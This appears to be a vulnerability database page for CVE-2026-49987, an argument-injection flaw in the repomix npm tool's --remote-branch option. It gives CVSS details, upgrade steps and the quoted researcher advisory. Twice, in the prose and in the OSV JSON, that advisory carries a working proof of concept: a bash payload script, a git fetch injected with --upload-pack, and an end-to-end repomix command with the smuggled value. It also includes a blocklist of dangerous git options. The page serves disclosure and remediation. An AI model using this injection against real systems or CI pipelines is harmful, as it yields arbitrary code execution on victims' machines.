CVE-2026-49987: Repomix Remote Code Execution Vulnerability

HIGH
Advisory Identifier: GHSA-9mm9-rqhj-j5mx
CVSS 8.8
CWE-88
Published
Advisory Summary

CVE-2026-49987 is a HIGH (CVSS 8.8) remote code execution vulnerability (CWE-88: Improper Neutralization of Argument Delimiters in a Command ('Argument Injection')) affecting Repomix libraries in the npm ecosystem. The issue involves repomix vulnerable to command injection (rce) via `--remote-branch` argument injection. Remediation is available by upgrading affected packages to version 1.14.1.

CVE-2026-49987 at a Glance

CVE Identifier CVE-2026-49987
GHSA Identifier GHSA-9mm9-rqhj-j5mx
Severity HIGH
CVSS v3.1 Base Score 8.8
CWE Classification CWE-88: Improper Neutralization of Argument Delimiters in a Command ('Argument Injection')
Affected Product Repomix
Package Ecosystem npm
Published Date
Last Updated

Security Impact

CVSS: 8.8

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction Required (UI:R)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity High (I:H)
Availability High (A:H)

How to Fix CVE-2026-49987

To remediate this vulnerability, upgrade all affected Repomix dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

repomix fixed: 1.14.1
npm install repomix@1.14.1
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

npm ls repomix

How to Check if You Are Affected

To determine whether your Node.js application is affected by CVE-2026-49987, inspect your project dependencies using npm:

npm ls repomix

Analyze the terminal output to locate any version of Repomix in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.14.1), your application is affected.

Note: The npm ls repomix command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-88: Improper Neutralization of Argument Delimiters in a Command ('Argument Injection'), where the product constructs a string for a command to be executed by a separate component in another control sphere, but it does not properly delimit the intended arguments, options, or switches within that command string. In Repomix, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Vulnerability Metadata | Field | Detail | | --- | --- | | **Affected Component** | `src/core/git/gitCommand.ts` (`execGitShallowClone`) | | **Impact** | Arbitrary Command Execution / Security Control Bypass | ### Summary The `--remote-branch` CLI option in `repomix` is vulnerable to argument injection. User-supplied input is passed directly to `git fetch` and `git checkout` subprocesses via `child_process.execFileAsync` without sanitization, `--` delimiters, or validation. An attacker can inject arbitrary git command-line options. By injecting the `--upload-pack` option and specifying an SSH (`git@...`) or local (`file://`) remote URL, an attacker achieves arbitrary command execution with the privileges of the user running `repomix`. This bypasses the existing `dangerousParams` blocklist implemented in `validateGitUrl()`. ### Vulnerable Code Analysis **File:** `src/core/git/gitCommand.ts` The `remoteBranch` parameter is appended directly to the arguments array for git subprocesses without the `--` positional delimiter. **Sink 1 (Lines 118-127):** ```typescript await deps.execFileAsync( 'git', ['-C', directory, 'fetch', '--depth', '1', 'origin', remoteBranch], // Vulnerable gitRemoteOpts, ); ``` **Sink 2 (Lines 148-151):** ```typescript await deps.execFileAsync('git', ['-C', directory, 'checkout', remoteBranch]); // Vulnerable ``` **Bypassed Security Control (Lines 192-197):** The application attempts to prevent this exact vulnerability class by blocking dangerous parameters (`--upload-pack`, `--receive-pack`, `--config`, `--exec`) within the `validateGitUrl` function. However, this validation is exclusively applied to the `url` variable and omitted for `remoteBranch`, creating a direct bypass. ### Attack Flow ```text [Source] repomix --remote-branch <injected_option> ↓ src/cli/actions/remoteAction.ts:226 (cloneRepository) ↓ src/core/git/gitCommand.ts:118 (execGitShallowClone) ↓ [Sink] execFileAsync('git', ['...', 'origin', '--upload-pack=/tmp/payload']) ↓ [Execution] git invokes the payload binary via transport helper ``` ### Proof of Concept (Steps to Reproduce) **1. Create the Payload** Create an executable bash script that writes system execution context to a file. *(Reference: Screenshot_2026-05-18_13_02_16.png)* ```bash cat > /tmp/malicious-pack << 'EOF' #!/bin/bash echo "=== RCE EXECUTED ===" > /tmp/repomix-pwned.txt id >> /tmp/repomix-pwned.txt EOF chmod +x /tmp/malicious-pack ``` **2. Trigger the Vulnerability** Establish a dummy remote and trigger the fetch operation, injecting the `--upload-pack` argument. *(Reference: Screenshot_2026-05-18_13_08_36.png)* ```bash # Setup dummy bare remote git init --bare /tmp/dummy-remote.git # Initialize local repo and add remote mkdir /tmp/test-fetch && cd /tmp/test-fetch git init git remote add origin file:///tmp/dummy-remote.git # Execute vulnerability git fetch --upload-pack=/tmp/malicious-pack origin 2>&1 ``` **3. Verify Execution** Execution occurs prior to git protocol validation. The script executes successfully despite the fetch operation returning a `128` exit code. ```bash cat /tmp/repomix-pwned.txt ``` *Expected Output:* ```text === RCE EXECUTED === uid=1000(kakashi) gid=1000(kakashi) groups=1000(kakashi)... ``` **End-to-End Execution via Repomix:** ```bash repomix --remote git@github.com:yamadashy/repomix.git --remote-branch '--upload-pack=/tmp/malicious-pack' ``` ### Impact * **Remote Code Execution:** Complete system compromise with the privileges of the user executing `repomix`. * **CI/CD Compromise:** If `repomix` is utilized in automated pipelines where `--remote-branch` is populated by external triggers (e.g., webhook payloads, PR titles), attackers can compromise build servers and exfiltrate secrets. ### Remediation **1. Implement Positional Delimiters (Primary Fix)** Append the `--` delimiter to explicitly separate options from positional arguments in all git subprocess calls utilizing `remoteBranch`. ```typescript await deps.execFileAsync( 'git', ['-C', directory, 'fetch', '--depth', '1', 'origin', '--', remoteBranch], gitRemoteOpts, ); ``` **2. Apply Existing Blocklist to Branch Parameter (Defense in Depth)** Update `execGitShallowClone` to validate `remoteBranch` against the existing `dangerousParams` array. ```typescript const dangerousParams = ['--upload-pack', '--receive-pack', '--config', '--exec']; if (remoteBranch && dangerousParams.some((param) => remoteBranch.includes(param))) { throw new RepomixError(`Invalid branch name. Contains potentially dangerous parameters: ${remoteBranch}`); } ``` ### Attachments **Screenshot 1:** Payload script created with executable permissions. <img width="1920" height="1080" alt="Screenshot_2026-05-18_13_02_16" src="https://github.com/user-attachments/assets/a0ada9de-c689-4ed8-9937-dd7faf6e6cc0" /> **Screenshot 2:** Vulnerable Code <img width="1920" height="1080" alt="Screenshot_2026-05-18_13_03_44" src="https://github.com/user-attachments/assets/b72c7e05-d857-497a-9ae5-0822f86fa032" /> **Screenshot 3:** Verifying RCE. <img width="1920" height="1080" alt="Screenshot_2026-05-18_13_08_36" src="https://github.com/user-attachments/assets/f153545e-e5e8-4165-ac1a-f84efbb1c135" /> --- ### Credits This vulnerability was discovered and responsibly disclosed by: - **Researcher:** Abhijith S. - **GitHub:** [@kakashi-kx](https://github.com/kakashi-kx) - **HackerOne/Bugcrowd:** [kakashi4kx](https://hackerone.com/kakashi4kx)

CVE-2026-49987 Affected Repomix Versions

1 component(s)
Fixed Versions:
1.14.1
Product / Package Ecosystem Affected Versions Fixed Version
repomix
npm
< 1.14.1
1.14.1

References

Frequently Asked Questions

What is CVE-2026-49987?
CVE-2026-49987 is a security vulnerability in Repomix involving repomix Vulnerable to Command Injection (RCE) via `--remote-branch` Argument Injection under CWE-88: Improper Neutralization of Argument Delimiters in a Command ('Argument Injection').
Which Repomix versions are affected?
Affected versions include releases prior to 1.14.1 across affected packages: repomix.
What version fixes CVE-2026-49987?
Upgrading to 1.14.1 (or the latest patched release for your respective branch) resolves the vulnerability.
Is repomix affected?
Yes, repomix is affected in releases prior to 1.14.1. Upgrade your dependency to 1.14.1 or later.
What is the CVSS score of CVE-2026-49987?
CVE-2026-49987 has a CVSS v3.1 base score of 8.8 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H.
What CWE is associated with CVE-2026-49987?
CVE-2026-49987 is classified under CWE-88: Improper Neutralization of Argument Delimiters in a Command ('Argument Injection') (The product constructs a string for a command to be executed by a separate component in another control sphere, but it does not properly delimit the intended arguments, options, or switches within that command string.).
How can I check npm dependencies for CVE-2026-49987?
Run the dependency tree command: 'npm ls repomix'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-9mm9-rqhj-j5mx",
  "modified" : "2026-07-01T19:00:50Z",
  "published" : "2026-07-01T19:00:50Z",
  "aliases" : [ "CVE-2026-49987" ],
  "summary" : "repomix Vulnerable to Command Injection (RCE) via `--remote-branch` Argument Injection",
  "details" : "### Vulnerability Metadata\n\n| Field | Detail |\n| --- | --- |\n| **Affected Component** | `src/core/git/gitCommand.ts` (`execGitShallowClone`) |\n| **Impact** | Arbitrary Command Execution / Security Control Bypass |\n\n### Summary\n\nThe `--remote-branch` CLI option in `repomix` is vulnerable to argument injection. User-supplied input is passed directly to `git fetch` and `git checkout` subprocesses via `child_process.execFileAsync` without sanitization, `--` delimiters, or validation.\n\nAn attacker can inject arbitrary git command-line options. By injecting the `--upload-pack` option and specifying an SSH (`git@...`) or local (`file://`) remote URL, an attacker achieves arbitrary command execution with the privileges of the user running `repomix`. This bypasses the existing `dangerousParams` blocklist implemented in `validateGitUrl()`.\n\n### Vulnerable Code Analysis\n\n**File:** `src/core/git/gitCommand.ts`\n\nThe `remoteBranch` parameter is appended directly to the arguments array for git subprocesses without the `--` positional delimiter.\n\n**Sink 1 (Lines 118-127):**\n\n```typescript\nawait deps.execFileAsync(\n  'git',\n  ['-C', directory, 'fetch', '--depth', '1', 'origin', remoteBranch], // Vulnerable\n  gitRemoteOpts,\n);\n\n```\n\n**Sink 2 (Lines 148-151):**\n\n```typescript\nawait deps.execFileAsync('git', ['-C', directory, 'checkout', remoteBranch]); // Vulnerable\n\n```\n\n**Bypassed Security Control (Lines 192-197):**\nThe application attempts to prevent this exact vulnerability class by blocking dangerous parameters (`--upload-pack`, `--receive-pack`, `--config`, `--exec`) within the `validateGitUrl` function. However, this validation is exclusively applied to the `url` variable and omitted for `remoteBranch`, creating a direct bypass.\n\n### Attack Flow\n\n```text\n[Source] repomix --remote-branch <injected_option>\n   ↓\nsrc/cli/actions/remoteAction.ts:226 (cloneRepository)\n   ↓\nsrc/core/git/gitCommand.ts:118 (execGitShallowClone)\n   ↓\n[Sink] execFileAsync('git', ['...', 'origin', '--upload-pack=/tmp/payload'])\n   ↓\n[Execution] git invokes the payload binary via transport helper\n\n```\n\n### Proof of Concept (Steps to Reproduce)\n\n**1. Create the Payload**\nCreate an executable bash script that writes system execution context to a file.\n*(Reference: Screenshot_2026-05-18_13_02_16.png)*\n\n```bash\ncat > /tmp/malicious-pack << 'EOF'\n#!/bin/bash\necho \"=== RCE EXECUTED ===\" > /tmp/repomix-pwned.txt\nid >> /tmp/repomix-pwned.txt\nEOF\nchmod +x /tmp/malicious-pack\n\n```\n\n**2. Trigger the Vulnerability**\nEstablish a dummy remote and trigger the fetch operation, injecting the `--upload-pack` argument.\n*(Reference: Screenshot_2026-05-18_13_08_36.png)*\n\n```bash\n# Setup dummy bare remote\ngit init --bare /tmp/dummy-remote.git\n\n# Initialize local repo and add remote\nmkdir /tmp/test-fetch && cd /tmp/test-fetch\ngit init\ngit remote add origin file:///tmp/dummy-remote.git\n\n# Execute vulnerability\ngit fetch --upload-pack=/tmp/malicious-pack origin 2>&1\n\n```\n\n**3. Verify Execution**\nExecution occurs prior to git protocol validation. The script executes successfully despite the fetch operation returning a `128` exit code.\n\n```bash\ncat /tmp/repomix-pwned.txt\n\n```\n\n*Expected Output:*\n\n```text\n=== RCE EXECUTED ===\nuid=1000(kakashi) gid=1000(kakashi) groups=1000(kakashi)...\n\n```\n\n**End-to-End Execution via Repomix:**\n\n```bash\nrepomix --remote git@github.com:yamadashy/repomix.git --remote-branch '--upload-pack=/tmp/malicious-pack'\n\n```\n\n### Impact\n\n* **Remote Code Execution:** Complete system compromise with the privileges of the user executing `repomix`.\n* **CI/CD Compromise:** If `repomix` is utilized in automated pipelines where `--remote-branch` is populated by external triggers (e.g., webhook payloads, PR titles), attackers can compromise build servers and exfiltrate secrets.\n\n### Remediation\n\n**1. Implement Positional Delimiters (Primary Fix)**\nAppend the `--` delimiter to explicitly separate options from positional arguments in all git subprocess calls utilizing `remoteBranch`.\n\n```typescript\nawait deps.execFileAsync(\n  'git',\n  ['-C', directory, 'fetch', '--depth', '1', 'origin', '--', remoteBranch],\n  gitRemoteOpts,\n);\n\n```\n\n**2. Apply Existing Blocklist to Branch Parameter (Defense in Depth)**\nUpdate `execGitShallowClone` to validate `remoteBranch` against the existing `dangerousParams` array.\n\n```typescript\nconst dangerousParams = ['--upload-pack', '--receive-pack', '--config', '--exec'];\n\nif (remoteBranch && dangerousParams.some((param) => remoteBranch.includes(param))) {\n  throw new RepomixError(`Invalid branch name. Contains potentially dangerous parameters: ${remoteBranch}`);\n}\n\n```\n\n### Attachments \n\n**Screenshot 1:** Payload script created with executable permissions.\n<img width=\"1920\" height=\"1080\" alt=\"Screenshot_2026-05-18_13_02_16\" src=\"https://github.com/user-attachments/assets/a0ada9de-c689-4ed8-9937-dd7faf6e6cc0\" />\n\n\n**Screenshot 2:** Vulnerable Code \n<img width=\"1920\" height=\"1080\" alt=\"Screenshot_2026-05-18_13_03_44\" src=\"https://github.com/user-attachments/assets/b72c7e05-d857-497a-9ae5-0822f86fa032\" />\n\n\n**Screenshot 3:** Verifying RCE.\n<img width=\"1920\" height=\"1080\" alt=\"Screenshot_2026-05-18_13_08_36\" src=\"https://github.com/user-attachments/assets/f153545e-e5e8-4165-ac1a-f84efbb1c135\" />\n\n\n\n\n\n---\n\n### Credits\n\nThis vulnerability was discovered and responsibly disclosed by:\n- **Researcher:** Abhijith S.\n- **GitHub:** [@kakashi-kx](https://github.com/kakashi-kx)\n- **HackerOne/Bugcrowd:** [kakashi4kx](https://hackerone.com/kakashi4kx)",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "repomix"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "1.14.1"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/yamadashy/repomix/security/advisories/GHSA-9mm9-rqhj-j5mx"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/yamadashy/repomix"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-88" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-07-01T19:00:50Z",
    "nvd_published_at" : null
  }
}